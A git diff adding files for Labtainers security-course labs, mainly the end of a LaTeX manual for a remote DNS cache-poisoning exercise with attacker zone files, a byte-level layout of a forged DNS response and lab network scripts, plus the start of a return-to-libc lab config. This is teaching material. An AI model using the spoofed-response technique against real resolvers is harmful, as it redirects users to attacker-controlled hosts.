Figure~\ref{fig:environment}) to +ask for {\tt www.example.com}'s IP address. + +When {\tt Apollo} receives the DNS query, it searches +for {\tt example.com}'s {\tt NS} record in its cache, +and finds {\tt ns.dnslabattacker.net}. +It will therefore send a DNS query to {\tt ns.dnslabattacker.net}. +However, before sending the query, it needs to know the IP address of +{\tt ns.dnslabattacker.net}. This is done by issuing a separate DNS query. +That is where we get into trouble. + + +The domain name {\tt dnslabattacker.net} does not exist in reality. +We created this name for the purpose of this lab. {\tt Apollo} will soon +find out about that, and mark the {\tt NS} entry invalid, essentially recovering +from the poisoned cache. One may say that when forging the DNS response, we +can use an additional record to provide the IP address for +{\tt ns.dnslabattacker.net}. The sample response packet in +Figure~\ref{fig:response_packet} actually does that. Unfortunately, +this additional record will not be accepted by {\tt Apollo}. Please think +about why and give your explanation in your lab report (hint: think +about the {\em zones}). + +We will demonstrate the impact +of our successful cache-poisoning attack by using a fake domain name. +Note the changes made to the Apollow DNS server described below are simply +to facilitate the demonstration. If we controlled a real domain, we would achive +this by using that domain in the {\tt NS} record in place of {\tt dnslabattacker.net}. + +\paragraph{Use A Fake Domain Name.} +We have configured {\tt Apollo} so +it recognizes {\tt dnslabattacker.net} as a real domain. We added +the {\tt ns.dnslabattacker.net}'s IP address to {\tt Apollo}'s DNS configuration, +so {\tt Apollo} does not need to go out asking for the IP address of this +hostname from a non-existing domain. The configuration was achieved as described +below. + +We configured the victim's DNS server {\tt Apollo} +file named {\tt named.conf.default-zones} in +the {\tt /etc/bind/} folder, to include the following entry: + +\begin{verbatim} +zone "ns.dnslabattacker.net" { + type master; + file "/etc/bind/db.attacker"; +}; +\end{verbatim} + +And we added the file {\tt /etc/bind/db.attacker}, with the following +content: + +\begin{verbatim} +$TTL 604800 +@ IN SOA localhost. root.localhost. ( + 2; Serial + 604800 ; Refresh + 86400 ; Retry + 2419200 ; Expire + 604800 ) ; Negative Cache TTL; +@ IN NS ns.dnslabattacker.net. +@ IN A 203.0.113.3 +@ IN AAAA ::1 +\end{verbatim} +\noindent Note, we let the attacker's machine and the malicious DNS, +{\tt ns.dnslabattacker.net} share the machine ({\tt 192.168.0.200}). + +If your cache poisoning attack is successful, any +DNS query sent to {\tt Apollo} for the hostnames +in {\tt example.com} will be sent to {\tt 203.0.113.3}, which is +attacker's machine. + + +The DNS server on {\tt 203.0.113.3} has been configured so it answers the +queries for the domain {\tt example.com}. This was achieved by +the following +entry in {\tt /etc/bind/named.conf.local} on {\tt 203.0.113.3}: + +\begin{verbatim} +zone "example.com" { + type master; + file "/etc/bind/example.com.db"; +}; +\end{verbatim} + +\noindent and a file called {\tt /etc/bind/example.com.db}, containing: + +\begin{verbatim} +$TTL 3D +@ IN SOA ns.example.com. admin.example.com. ( + 2008111001 + 8H + 2H + 4W + 1D) +@ IN NS ns.dnslabattacker.net. +@ IN MX 10 mail.example.com. +www IN A 1.1.1.1 +mail IN A 1.1.1.2 +*.example.com IN A 1.1.1.100 +\end{verbatim} + +If everything is done properly, you can use the command like {\tt +"dig www.example.com”} on the user machine. The reply would be {\tt +1.1.1.1}, which is exactly we put in the above file. + + + +\section{Submission} + +Students need to submit a detailed lab report to describe what they have done and +what they have observed. Report should include the evidences to support +the observations. Evidences include packet traces, screen dumps, etc. + +\paragraph{Note:} Please do not forget to answer the question asked in +Task 2, regarding why the IP address for +{\tt ns.dnslabattacker.net} in the additional field is not +accepted by the victim DNS server. + +If you edited your lab report on a separate system, copy it back to the Linux system at the location +identified when you started the lab, and do this before running the stoplab command. +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab remote-dns +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + + +\begin{thebibliography}{10} + +\bibitem {Kaminsky} +\newblock D. Schneider. +\newblock Fresh Phish, How a recently discovered flaw in the Internet's Domain Name +System makes it easy for scammers to lure you to fake Web sites. +\newblock {\em IEEE Spectrum}, 2008 +\newblock{\url{http://spectrum.ieee.org/computing/software/fresh-phish}} + +\bibitem{bib1} +RFC 1035 Domain Names - Implementation and Specification : +\newblock http://www.rfc-base.org/rfc-1035.html + +\bibitem{bib2} +DNS HOWTO : +\newblock http://www.tldp.org/HOWTO/DNS-HOWTO.html + +\bibitem{bib4} +Pharming Guide : +\newblock http://www.technicalinfo.net/papers/Pharming.html +%\newblock http://www.ngssoftware.com/papers/ThePharmingGuide.pdf + +\bibitem{bib5} +DNS Cache Poisoning: +\newblock http://www.secureworks.com/resources/articles/other\_articles/dns-cache-poisoning/ + +\bibitem{bib6} +DNS Client Spoof: +\newblock http://evan.stasis.org/odds/dns-client\_spoofing.txt + +%\bibitem{bib6} +%Phishing: +%\newblock http://en.wikipedia.org/wiki/Phishing + +\end{thebibliography} + + +\appendix + +\section{Details of DNS Response Packet} +\label{sec:response_detail} + + +{\footnotesize +\begin{Verbatim}[frame=single] +0x8e 0x01 transaction ID +0x84 0x00 flags:means a no-error answer +0x00 0x01 Questions No. (1 question session) +0x00 0x01 Answer No. (1 answer session) +0x00 0x01 Authority No. (1 authority session) +0x00 0x02 Additional No. (2 additional sessions) +query session: eggdd.example.com:type A, class IN +0x05 5 characters follow +0x74 t +0x77 w +0x79 y +0x73 s +0x77 w +0x07 7 characters follow +0x65 e +0x78 x +0x61 a +0x6d m +0x70 p +0x6c l +0x65 e +0x03 3 characters +0x63 c +0x6f o +0x6d m +0x00 end of the string +0x00 0x01 type:A(address) +0x00 0x01 Class:IN +the Answer session: +0xc0 first two bits set to 1 to notify this is a pointer for a name string, +not a standard +string as before +0x0c the offset of the start point: here from transaction ID field to the +name string +12 bytes. The string will shows from the offset point to the end of the +string +0x00 0x01 type:A +0x00 0x01 Class:IN +0x02 0x00 0x00 0x00 time to live +0x00 0x04 DataLength:4 bytes +0x01 0x01 x01 0x01 1.1.1.1 +Authoritative Nameservers session: +0xC0 first two bits set to 1 to notify this is a pointer for a name string, +not a standard +string as before +0x12 Offset 18 the string should be "/7example/3com/0" +0x00 0x02 type:NS +0x00 0x01 Class:IN +0x02 0x00 0x00 0x00 time to live +0x00 0x17 DataLength:23 bytes +The string represent "/2ns/14dnslabattacker/3net" +0x02 2 characters follow +0x6e n +0x73 s +0x0e 14 characters +0x64 d +0x6e n +0x73 s +0x6c l +0x61 a +0x62 b +0x61 a +0x74 t +0x74 t +0x61 a +0x63 c +0x6b k +0x65 e +0x72 r +0x03 3 characters +0x6e n +0x65 e +0x74 t +0x00 end of the string +****************************additional session*************************************** +first session :example.com:type NS,class IN ns ns.dnslabattacker.net + +notice: you can use the same pointer technique we +talked before to shorten +the packet, this is just to show you both ways work. +The string represent "/2ns/14dnslabattacker/3net" +0x02 2 characters follow +0x6e n +0x73 s +0x0e 14 characters +0x64 d +0x6e n +0x73 s +0x6c l +0x61 a +0x62 b +0x61 a +0x74 t +0x74 t +0x61 a +0x63 c +0x6b k +0x65 e +0x72 r +0x03 3 characters +0x6e n +0x65 e +0x74 t +0x00 end of the string +0x00 0x01 type:A +0x00 0x01 Class:IN +0x02 0x00 0x00 0x00 time to live +0x00 0x04 DataLength:4 bytes +0x01 0x01 0x01 0x01 1.1.1.1 +second session: not related to the lab. Just set a rule that during the DNS +communication, the server won't accept +the packet which is larger than a certain size +0x00 0x00 0x29 0x10 0x00 0x00 0x00 0x88 0x00 0x00 0x00 +\end{Verbatim} +} +\end{document} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/DNS_Remote_Env.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/DNS_Remote_Env.pdf new file mode 100755 index 000000000..69ef99f1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/DNS_Remote_Env.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/DNS_Remote_Flow1.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/DNS_Remote_Flow1.pdf new file mode 100755 index 000000000..6044ac40d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/DNS_Remote_Flow1.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/DNS_Remote_Flow2.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/DNS_Remote_Flow2.pdf new file mode 100755 index 000000000..d80988fed Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/DNS_Remote_Flow2.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/cache_screenshot.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/cache_screenshot.pdf new file mode 100755 index 000000000..c246ce13d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/cache_screenshot.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/remote-dns.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/remote-dns.jpg new file mode 100644 index 000000000..e8fe71a41 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/remote-dns.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/screenshot_packet.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/screenshot_packet.pdf new file mode 100755 index 000000000..685a5b4df Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Figs/screenshot_packet.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Makefile new file mode 100644 index 000000000..8f0f86135 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/Makefile @@ -0,0 +1,8 @@ +remote-dns.pdf: DNS_Remote.tex header.tex + latex DNS_Remote + pdflatex -jobname=remote-dns DNS_Remote + pdflatex -jobname=remote-dns DNS_Remote + +clean: + rm -fr auto + rm -f *.aux *.log *.pdf *.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/README.txt new file mode 100644 index 000000000..60ed2b49f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/README.txt @@ -0,0 +1,4 @@ +This lab is not functional. The publicly available bind programs do not let +us properly simulate a top level DNS. They only act as a domain DNS. It is +therefore challenging to return a poisoned .com DNS server. +Suggestions and worked examples of a functional lab would be welcome. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/header.tex new file mode 100644 index 000000000..4953b34f4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/header.tex @@ -0,0 +1,193 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +%\usepackage{cases} +%\usepackage{ltexpprt} +%\usepackage{verbatim} + +%\topmargin -0.70in % distance to headers +%\headheight 0.2in % height of header box +%\headsep 0.4in % distance to top line +%\footskip 0.3in % distance from bottom line + +% Horizontal alignment +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is/was funded by the following grants from + the US National Science Foundation: No. 1303306 and 1318814. + This lab was altered and imported into the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + +\newcommand{\copyrightnoticeA}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006\ \ Wenliang Du, Syracuse University.\\ + The development of this document was partially funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + + +\newcommand{\nocopyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small + The development of this document is funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document. + }} +\vspace{0.1in} +} + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\minix}{{\tt Minix}\xspace} +\newcommand{\unix}{{\tt Unix}\xspace} +\newcommand{\linux}{{\tt Linux}\xspace} +\newcommand{\ubuntu}{{\tt Ubuntu}\xspace} +\newcommand{\selinux}{{\tt SELinux}\xspace} +\newcommand{\freebsd}{{\tt FreeBSD}\xspace} +\newcommand{\solaris}{{\tt Solaris}\xspace} +\newcommand{\windowsnt}{{\tt Windows NT}\xspace} +\newcommand{\setuid}{{\tt Set-UID}\xspace} +%\newcommand{\smx}{{\tt Smx}\xspace} +\newcommand{\smx}{{\tt Minix}\xspace} +\newcommand{\relay}{{\tt relay}\xspace} +\newcommand{\isys}{{\tt iSYS}\xspace} +\newcommand{\ilan}{{\tt iLAN}\xspace} +\newcommand{\iSYS}{{\tt iSYS}\xspace} +\newcommand{\iLAN}{{\tt iLAN}\xspace} +\newcommand{\iLANs}{{\tt iLAN}s\xspace} +\newcommand{\bochs}{{\tt Bochs}\xspace} + +\newcommand\FF{{\mathcal{F}}} + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +%\pagestyle{fancyplain} +%\lhead[\thepage]{\thesection} % Note the different brackets! +%\rhead[\thesection]{SEED Laboratories} +%\lfoot[\fancyplain{}{}]{Syracuse University} +%\cfoot[\fancyplain{}{}]{\thepage} + +\newcommand{\tstamp}{\today} +%\lhead[\fancyplain{}{\thepage}] {\fancyplain{}{\rightmark}} +%\chead[\fancyplain{}{}] {\fancyplain{}{}} +%\rhead[\fancyplain{}{\rightmark}] {\fancyplain{}{\thepage}} +%\lfoot[\fancyplain{}{}] {\fancyplain{\tstamp}{\tstamp}} +%\cfoot[\fancyplain{\thepage}{}] {\fancyplain{\thepage}{}} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +%\lhead{\bfseries Computer Security Course Project} +\lhead{\bfseries SEED Labs} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/read_first.txt new file mode 100644 index 000000000..85e1daef3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/remote-dns.pdf +A lab report template is at + file://LAB_DOCS/remote-dns-report.docx + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/remote-dns-report.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/remote-dns-report.docx new file mode 100644 index 000000000..e02abfc9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/remote-dns-report.docx @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/remote-dns.odp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/remote-dns.odp new file mode 100644 index 000000000..77b3ab757 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/remote-dns.odp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/gateway/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/gateway/_bin/fixlocal.sh new file mode 100755 index 000000000..f77038fa5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/gateway/_bin/fixlocal.sh @@ -0,0 +1,21 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# + +# no predicting docker network assignments, use ifconfig fu +# +# Set up NAT on gateway +# +lan1=$(ifconfig | grep -B1 "inet addr:192.168.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:203.0.113.1" | awk '$1!="inet" && $1!="--" {print $1}') +sudo iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +sudo iptables --append FORWARD --in-interface $lan1 -j ACCEPT +sudo iptables -t nat -A PREROUTING -i $wan -p udp --dport 53 -j DNAT --to-destination 192.168.0.10 +sudo iptables -t nat -A POSTROUTING -o $lan1 -p udp --dport 53 -d 192.168.0.10 -j SNAT --to-source 192.168.0.1 +sudo /etc/init.d/dnsmasq restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/gateway/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/gateway/_system/etc/rc.local new file mode 100755 index 000000000..db1cf7976 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/gateway/_system/etc/rc.local @@ -0,0 +1,6 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 203.0.113.1 + +echo "nameserver 203.0.113.1" > /etc/resolv.conf +route del -host 172.17.0.1 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/gateway/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/gateway/_system/sbin/faux_init new file mode 100755 index 000000000..7eb17975b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/gateway/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/dnsmasq restart + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/instr_config/goals.config new file mode 100644 index 000000000..9e887436a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +# SUM: no automated assessment for this lab + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/instr_config/pregrade.sh new file mode 100755 index 000000000..2d6b93ed2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/instr_config/pregrade.sh @@ -0,0 +1,40 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/instr_config/results.config new file mode 100644 index 000000000..541411928 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/isp/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/isp/_bin/fixlocal.sh new file mode 100755 index 000000000..acdb2a713 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/isp/_bin/fixlocal.sh @@ -0,0 +1,14 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +lan1=$(ifconfig | grep -B1 "inet addr:203.113.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:10.10.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +sudo iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +sudo iptables --append FORWARD --in-interface $lan1 -j ACCEPT +sudo /etc/init.d/dnsmasq restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/isp/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/isp/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/isp/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/user/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/user/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/user/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/user/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/user/_system/etc/rc.local new file mode 100644 index 000000000..3e288bd73 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/user/_system/etc/rc.local @@ -0,0 +1,2 @@ +#!/bin/bash +echo "nameserver 192.168.0.10" > /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/user/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/user/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/user/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/config/about.txt new file mode 100644 index 000000000..1a59576b7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/config/about.txt @@ -0,0 +1 @@ +Exploit a program using a buffer overflow and return-to-libc. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/config/parameter.config new file mode 100644 index 000000000..ec7eeef6d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# +rand1 : RAND_REPLACE : /home/ubuntu/retlib.c : MY_BUF_SIZE : 12 : 52 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/config/start.config new file mode 100644 index 000000000..9c6ede762 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/config/start.config @@ -0,0 +1,66 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER retlibc + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED retlibc_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is 